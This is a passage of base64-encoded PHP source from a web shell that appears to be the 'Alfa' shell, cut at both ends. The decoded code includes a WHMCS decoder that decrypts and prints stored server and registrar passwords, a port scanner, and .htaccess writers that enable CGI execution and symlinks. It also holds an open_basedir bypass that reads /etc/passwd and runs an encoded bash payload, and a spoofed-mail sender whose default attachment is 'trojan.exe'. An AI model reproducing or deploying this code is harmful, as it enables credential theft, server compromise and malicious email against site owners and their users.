9IDA7CndoaWxlICgkYyA8IHN0cmxlbiAoJHN0cmluZykpCnsKaWYgKCgkYyAhPSAwIEFORCAkYyAlICRoYXNoX2xlbmd0aCA9PSAwKSkKewoka2V5ID0gX2hhc2ggKCRrZXkgLiBzdWJzdHIgKCRvdXQsICRjIC0gJGhhc2hfbGVuZ3RoLCAkaGFzaF9sZW5ndGgpKTsKfQokb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7CisrJGM7Cn0KcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gX2hhc2goJHN0cmluZykKewppZihmdW5jdGlvbl9leGlzdHMoJ3NoYTEnKSkKewokaGFzaCA9IHNoYTEgKCRzdHJpbmcpOwp9CmVsc2UKewokaGFzaCA9IG1kNSAoJHN0cmluZyk7Cn0KJG91dCA9ICcnOwokYyA9IDA7CndoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQp7CiRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsKJGMgKz0gMjsKfQpyZXR1cm4gJG91dDsKfQpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFdITUNTIERlQ29kZXIgfDwvZGl2PjxwPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPC9wPjxmb3JtIG9uc3VibWl0PVwiZygnV2htY3MnLG51bGwsdGhpcy5mb3JtX2FjdGlvbi52YWx1ZSwnZGVjb2RlcicsdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmNjX2VuY3J5cHRpb25faGFzaC52YWx1ZSx0aGlzLmRiX2hvc3QudmFsdWUpOyByZXR1cm4gZmFsc2U7XCI+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2Zvcm1fYWN0aW9uJyB2YWx1ZT0nMic+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfcGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfcGFzc3dvcmQnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdjY19lbmNyeXB0aW9uX2hhc2ggOiAnLCAnaW5wdXROYW1lJyA9PiAnY2NfZW5jcnlwdGlvbl9oYXNoJywgJ2lkJyA9PiAnY2NfZW5jcnlwdGlvbl9oYXNoJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnIG5hbWU9J1N1Ym1pdCc+PC9wPjwvZm9ybT48L2NlbnRlcj4iOwppZigkX1BPU1RbJ2FsZmE1J10hPScnKXsKJGRiX2hvc3Q9KCRfUE9TVFsnYWxmYTcnXSk7CiRkYl91c2VybmFtZT0oJF9QT1NUWydhbGZhMyddKTsKJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2FsZmE0J10pOwokZGJfbmFtZT0oJF9QT1NUWydhbGZhNSddKTsKJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydhbGZhNiddKTsKZWNobyBfX3ByZSgpOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCwkZGJfbmFtZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcXVlcnkgPSBteXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOwokbnVtID0gbXlzcWxpX251bV9yb3dzKCRxdWVyeSk7CmlmICgkbnVtID4gMCl7CmZvcigkaT0wOyAkaSA8PSRudW0tMTsgJGkrKyl7CiR2ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcXVlcnkpOwokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOwokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsKJHR5cGUgPSAkdlsndHlwZSddOwokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOwokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsKZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlR5cGU8L2ZvbnQ+PC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkFjdGl2ZTwvZm9udD48L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPjwvYj4iKTsKZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Ib3N0bmFtZTwvZm9udD48L3RkPjx0ZD4kaG9zdG5hbWU8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPklwPC9mb250PjwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXJuYW1lPC9mb250PjwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGFzc3dvcmQ8L2ZvbnQ+PC90ZD48dGQ+JHBhc3N3b3JkPC90ZD48L3RyPjwvYj4iKTsKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cn0KJHF1ZXJ5MSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOwokbnVtMSA9IEBteXNxbGlfbnVtX3Jvd3MoJHF1ZXJ5MSk7CmlmICgkbnVtMSA+IDApewpmb3IoJGk9MDsgJGkgPD0kbnVtMSAtMTsgJGkrKyl7CiR2ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRxdWVyeTEpOwokcmVnaXN0cmFyID0gJHZbJ3JlZ2lzdHJhciddOwokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107CiR2YWx1ZSA9IGRlY3J5cHQoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwppZiAoJHZhbHVlPT0iIil7CiR2YWx1ZT0wOwp9CmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48Y2VudGVyPiIpOwplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlJlZ2lzdGVyPC9mb250PjwvdGQ+PHRkPiRyZWdpc3RyYXI8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlNldHRpbmc8L2ZvbnQ+PC90ZD48dGQ+JHNldHRpbmc8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlZhbHVlPC9mb250PjwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOwp9Cn0KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+dGJsc2VydmVycyBpcyBFbXB0eS4uLiE8L2ZvbnQ+Jyk7fTsKfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXBvcnRzY2FubmVyKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgUG9ydCBTY2FuZXIgfDwvZGl2PjwvcD4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdwb3J0c2Nhbm5lclwnLG51bGwsbnVsbCx0aGlzLnN0YXJ0LnZhbHVlLHRoaXMuZW5kLnZhbHVlLHRoaXMuaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ5IiB2YWx1ZT0icGhwdG9vbHMiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5Ib3N0OiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgc3RhcnQ6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHNpemU9IjUiIHR5cGU9InRleHQiICBuYW1lPSJzdGFydCIgdmFsdWU9IjgwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgZW5kOiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiBzaXplPSI1IiB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI4MCIvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz4KPC9mb3JtPjwvY2VudGVyPjxicj4nOwokc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTInXSk7CiRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTMnXSk7CiRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmE0J10pOwppZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydhbGZhMyddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnYWxmYTInXSkpewplY2hvIF9fcHJlKCk7CiRwYWNrZXRDb250ZW50ID0gIkdFVCAvIEhUVFAvMS4xXHJcblxyXG4iOwppZihjdHlwZV94ZGlnaXQoJHBhY2tldENvbnRlbnQpKSRwYWNrZXRDb250ZW50ID0gQHBhY2soIkgqIiAsICRwYWNrZXRDb250ZW50KTsKZWxzZXsKJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCAiIiwgJHBhY2tldENvbnRlbnQpOwokcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcXHIiLCJcXG4iKSwgYXJyYXkoIlxyIiwgIlxuIiksICRwYWNrZXRDb250ZW50KTsKfQpmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsKJHNvY2sgPSBAZnNvY2tvcGVuKCRob3N0LCAkaSwgJGVycm5vLCAkZXJyc3RyLCAzKTsKaWYoJHNvY2spewpzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssIDUpOwpmd3JpdGUoJHNvY2ssICRwYWNrZXRDb250ZW50LiJcclxuXHJcblx4MDAiKTsKJGNvdW50ZXIgPSAwOwokbWF4dHJ5ID0gMTsKJGJpbiA9ICIiOwpkb3sKJGxpbmUgPSBmZ2V0cygkc29jaywgMTAyNCk7CmlmKHRyaW0oJGxpbmUpPT0iIikkY291bnRlcisrOwokYmluIC49ICRsaW5lOwp9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7CmZjbG9zZSgkc29jayk7CmVjaG8gIjxjZW50ZXI+PHA+UG9ydCA8Zm9udCBzdHlsZT0nY29sb3I6I0RFM0UzRSc+JGk8L2ZvbnQ+IGlzIG9wZW48L3A+IjsKZWNobyAiPHA+PHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6MTQwcHg7d2lkdGg6NTAlOyc+Ii4kYmluLiI8L3RleHRhcmVhPjwvcD48L2NlbnRlcj4iOwp9CmZsdXNoKCk7Cn0KfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNnaWh0YWNjZXNzKCRtLCRkPScnLCAkc3ltbmFtZT1mYWxzZSl7CiRyZWFkbWUgPSAiIjsKaWYoJHN5bW5hbWUpeyRyZWFkbWU9IlxuUmVhZG1lTmFtZSAiLnRyaW0oJHN5bW5hbWUpO30KaWYoJG09PSdjZ2knKXsKJGNvZGUgPSAiI0NvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlXG5PcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJXG5BZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5hbGZhXG5BZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmFsZmEiOwp9ZWxzZWlmKCRtPT0nc3ltJyl7CiRjb2RlID0gIiNDb2RlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZVxuT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzXG5EaXJlY3RvcnlJbmRleCBzb2xldmlzaWJsZS5waHRtXG5BZGRUeXBlIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNCBwaHRtbFxuQWRkSGFuZGxlciB0ZXh0L3BsYWluIHBocCBodG1sIHBocDQgcGh0bWx7JHJlYWRtZX1cbk9wdGlvbnMgYWxsIjsKfWVsc2VpZigkbT09J3NodG1sJyl7CiRjb2RlID0gIk9wdGlvbnMgK0luY2x1ZGVzXG5BZGRUeXBlIHRleHQvaHRtbCAuc2h0bWxcbkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAuc2h0bWwiOwp9CkBfX3dyaXRlX2ZpbGUoJGQgLiAiLmh0YWNjZXNzIiwgJGNvZGUpOwp9CmZ1bmN0aW9uIGFsZmFiYXNlZGlyKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPgo8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IE9wZW4gQmFzZSBEaXIgfDwvZGl2PjwvcD48L2NlbnRlcj4nOwokcGFzc3dkID0gX2FsZmFfZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYoaXNfYXJyYXkoJHBhc3N3ZCkpewokdXNlcnMgPSBhcnJheSgpOwokbWFrZXB3ZCA9IGFsZmFNYWtlUHdkKCk7CiRiYXNlZGlyID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLGZhbHNlKSYmKCRiYXNlZGlyfHwkc2FmZV9tb2RlKSl7CiRiYXNoID0gImZaQlBTd014RU1YUHphY1l4OWp1Z2t2WTlsYnBUUTllRlU5TldkWWsyd1lrV1pLc2dtdSt1OU5hUzhFL2N3Z0RML04rTSsveVFqeGJKK0tPM2Q0L3JIak51c0dwWkwyRG1FSVRUUC9TS2xPVUl3T3FOVlR2Z0x4RzJNQjBDc0drSVRpb3o3WDVQOXJpTjYwaHpoSFR2TFluNUlvWGZiQXVkWUJYVVVxSFg5d1BpRVpEWlFDajRPTTgwN1BJWW92bHdldkh4UGlIZTBhV21WRTdmN0JhUzRXczh3RXNXQWU4VUVPQ1NpK2g2bW9RSmluUnR6Rys2ZklHdEdlVHA4YzdDcW80aTRkQUZCN3h4aUdha1BkZ1N4dE42T3hBL1g3Z2VQazNVdElQaWRkTWUyZE9lOHdRTjdOUCI7CiR0bXBfcGF0aCA9IGFsZmFXcml0ZVRvY2dpYXBpKCJiYXNlZGlyLmFsZmEiLCRiYXNoKTsKJGJhc2hfdXNlcnMgID0gYWxmYUV4KCJjZCAiLiR0bXBfcGF0aC4iL2FsZmFjZ2lhcGk7c2ggYmFzZWRpci5hbGZhICIuJG1ha2Vwd2QsZmFsc2UsdHJ1ZSx0cnVlKTsKJHVzZXJzID0ganNvbl9kZWNvZGUoJGJhc2hfdXNlcnMsIHRydWUpOwokeD1jb3VudCgkdXNlcnMpOwppZigkeD49Mil7YXJyYXlfcG9wKCR1c2Vycyk7LS0keDt9Cn0KaWYoISRiYXNlZGlyJiYhJHNhZmVfbW9kZSl7CiR4PTA7CmZvcmVhY2goJHBhc3N3ZCBhcyAkc3RyKXsKJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7CiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7CiRkaXJ6ID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VybmFtZSwgJG1ha2Vwd2QpOwppZigoJHVzZXJuYW1lICE9ICcnKSl7CmlmIChAaXNfcmVhZGFibGUoJGRpcnopKXsKYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsKJHgrKzsKfX19Cn0KZWNobyAnPGJyPjxicj4nOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5bK10gRm91bmRlZCAiLnNpemVvZigkcGFzc3dkKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gRm91bmRlZCAiLiR4LiIgcmVhZGFibGUgIi5zdHJfcmVwbGFjZSgie3VzZXJ9IiwgIioiLCAkbWFrZXB3ZCkuIiBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5bfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnIGZpbGVzLi4uXG5cbiIuIjxiciAvPjxiciAvPjxiciAvPjwvZm9udD48L2I+IjsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpewppZihlbXB0eSgkdXNlcikpY29udGludWU7CiRwYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7CmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IG9uc3VibWl0PSdnKFwiRmlsZXNNYW5cIix0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5DaGFuZ2UgRGlyIDxmb250IGNvbG9yPSNGRkZGMDE+Li46OiA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPjxiPiR1c2VyPC9iPjwvZm9udD48Zm9udCBjb2xvcj0jRkZGRjAxPiA6Oi4uPC9mb250PjwvZm9udD48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSckcGF0aCc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxicj4iOwp9Cn1lbHNle2VjaG8oJzxiPiA8Y2VudGVyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2QgWy1dPC9mb250PjwvY2VudGVyPjwvYj4nKTt9CmVjaG8gJzxicj48YnI+PC9iPic7CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhbWFpbCgpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmFrZSBNYWlsIHw8L2Rpdj48L3A+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsXCc+PlwnLHRoaXMubWFpbF9jb250ZW50LnZhbHVlLHRoaXMuY291bnRfbWFpbC52YWx1ZSx0aGlzLm1haWxfYXR0YWNoLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoCid0ZDEnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNYWlsIFRvIDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfdG8nLCAnaW5wdXRWYWx1ZScgPT4gJ3RhcmdldEBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzYwJywncGxhY2Vob2xkZXInID0+IHRydWUpLAondGQyJyA9PiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRnJvbSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2Zyb20nLCAnaW5wdXRWYWx1ZScgPT4gJ3NlY0Bnb29nbGUuY29tJywgJ2lucHV0U2l6ZScgPT4gJzYwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwKJ3RkMycgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1N1YmplY3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnbWFpbF9zdWJqZWN0JywgJ2lucHV0VmFsdWUnID0+ICd5b3VyIHNpdGUgaGFja2VkIGJ5IG1lJywgJ2lucHV0U2l6ZScgPT4gJzYwJyksCid0ZDQnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdBdHRhY2ggRmlsZSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2F0dGFjaCcsICdpbnB1dFZhbHVlJyA9PiAkR0xPQkFMU1snY3dkJ10uJ3Ryb2phbi5leGUnLCAnaW5wdXRTaXplJyA9PiAnNjAnKSwKJ3RkNScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0NvdW50IE1haWwgOiAnLCAnaW5wdXROYW1lJyA9PiAnY291bnRfbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnMScsICdpbnB1dFNpemUnID0+ICc2MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXNzYWdlOjwvZGl2PjwvcD48dGV4dGFyZWEgcm93cz0iNiIgY29scz0iNjAiIG5hbWU9Im1haWxfY29udGVudCI+SGkgRGVhciBBZG1pbiA6KTwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9Im1haWxfc2VuZCIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkmJigkX1BPU1RbJ2FsZmE0J10gPT0gJz4+JykpewokbWFpbF90byA9ICRfUE9TVFsnYWxmYTEnXTsKJG1haWxfZnJvbSA9ICRfUE9TVFsnYWxmYTInXTsKJG1haWxfc3ViamVjdCA9ICRfUE9TVFsnYWxmYTMnXTsKJG1haWxfY29udGVudCA9ICRfUE9TVFsnYWxmYTUnXTsKJGNvdW50X21haWwgPSAoaW50KSRfUE9TVFsnYWxmYTYnXTsKJG1haWxfYXR0YWNoID0gJF9QT1NUWydhbGZhNyddOwppZihmaWx0ZXJfdmFyKCRtYWlsX3RvLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpKXsKaWYoIWVtcHR5KCRtYWlsX2F0dGFjaCkmJkBpc19maWxlKCRtYWlsX2F0dGFjaCkpewokZmlsZSA9ICRtYWlsX2F0dGFjaDsKJGNvbnRlbnQgPSBfX3JlYWRfZmlsZSgkZmlsZSk7CiRjb250ZW50ID0gY2h1bmtfc3BsaXQoX19aVzVqYjJSbGNnKCRjb250ZW50KSk7CiR1aWQgPSBtZDUodW5pcWlkKHRpbWUoKSkpOwokZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZSk7CiRoZWFkZXJzICA9ICJGcm9tOiAiLiRtYWlsX2Zyb20uIiA8Ii4kbWFpbF9mcm9tLiI+XHJcbiI7CiRoZWFkZXJzIC49ICJUbzogIiAuICRtYWlsX3RvLiAiICggIi4kbWFpbF90by4iICkgXHJcbiI7CiRoZWFkZXJzIC49ICJSZXBseS1UbzogIi4kbWFpbF9mcm9tLiJcclxuIjsKJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiIuJHVpZC4iXCJcclxuXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKJG1haWxfY29udGVudCAgPSAiLS0iLiR1aWQuIlxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LXR5cGU6dGV4dC9wbGFpbjsgY2hhcnNldD1pc28tODg1OS0xXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDdiaXRcclxuXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gJG1haWxfY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi4kZmlsZW5hbWUuIlwiXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIlxyXG5cclxuIjsKJG1haWxfY29udGVudCAuPSAkY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iLS0iOwp9ZWxzZXsKJGhlYWRlcnMgID0gIkZyb206ICIgLiAkbWFpbF9mcm9tLiAiICggIi4kbWFpbF9mcm9tLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gIlRvOiAiIC4gJG1haWxfdG8uICIgKCAiLiRtYWlsX3RvLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gJ1JlcGx5LVRvOiAnLiRtYWlsX2Zyb20uJycgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKfQppZihlbXB0eSgkY291bnRfbWFpbCl8fCRjb3VudF9tYWlsPDEpJGNvdW50X21haWw9MTsKaWYoIWVtcHR5KCRtYWlsX2Zyb20pKXtlY2hvIF9fcHJlKCk7CmZvcigkaT0xOyRpPD0kY291bnRfbWFpbDskaSsrKXsKaWYoQG1haWwoJG1haWxfdG8sJG1haWxfc3ViamVjdCwkbWFpbF9jb250ZW50LCRoZWFkZXJzKSllY2hvKCI8Y2VudGVyPlNlbnQgLT4gJG1haWxfdG88YnI+PC9jZW50ZXI+Iik7Cn19ZWxzZXtfX2Fs